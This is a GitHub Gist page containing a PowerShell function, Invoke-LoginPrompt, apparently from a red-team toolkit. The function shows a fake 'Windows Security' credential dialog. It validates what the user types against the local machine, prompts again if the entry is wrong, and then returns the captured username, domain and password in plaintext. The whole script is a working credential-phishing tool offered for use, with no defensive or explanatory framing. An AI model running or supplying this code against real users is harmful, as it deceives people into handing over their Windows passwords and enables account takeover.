Created
January 24, 2015 10:10
-
-
Save luca-m/0f7995301d37b7e007af to your computer and use it in GitHub Desktop.
Invoke login prompt (https://github.com/enigma0x3/Invoke-LoginPrompt/)
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #Coded by Matt N. | |
| #Twitter: @enigma0x3 | |
| #Blog: www.enigma0x3.wordpress.com | |
| function Invoke-LoginPrompt{ | |
| $cred = $Host.ui.PromptForCredential("Windows Security", "Please enter user credentials", "$env:userdomain\$env:username","") | |
| $username = "$env:username" | |
| $domain = "$env:userdomain" | |
| $full = "$domain" + "\" + "$username" | |
| $password = $cred.GetNetworkCredential().password | |
| Add-Type -assemblyname System.DirectoryServices.AccountManagement | |
| $DS = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine) | |
| $DS.ValidateCredentials("$full", "$password") | out-null | |
| if($DS.ValidateCredentials -ne "True"){ | |
| $cred = $Host.ui.PromptForCredential("Windows Security", "Invalid Credentials, Please try again", "$env:userdomain\$env:username","") | |
| $username = "$env:username" | |
| $domain = "$env:userdomain" | |
| $full = "$domain" + "\" + "$username" | |
| $password = $cred.GetNetworkCredential().password | |
| Add-Type -assemblyname System.DirectoryServices.AccountManagement | |
| $DS = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine) | |
| $DS.ValidateCredentials("$full", "$password") | out-null | |
| } | |
| $output = $newcred = $cred.GetNetworkCredential() | select-object UserName, Domain, Password | |
| $output | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment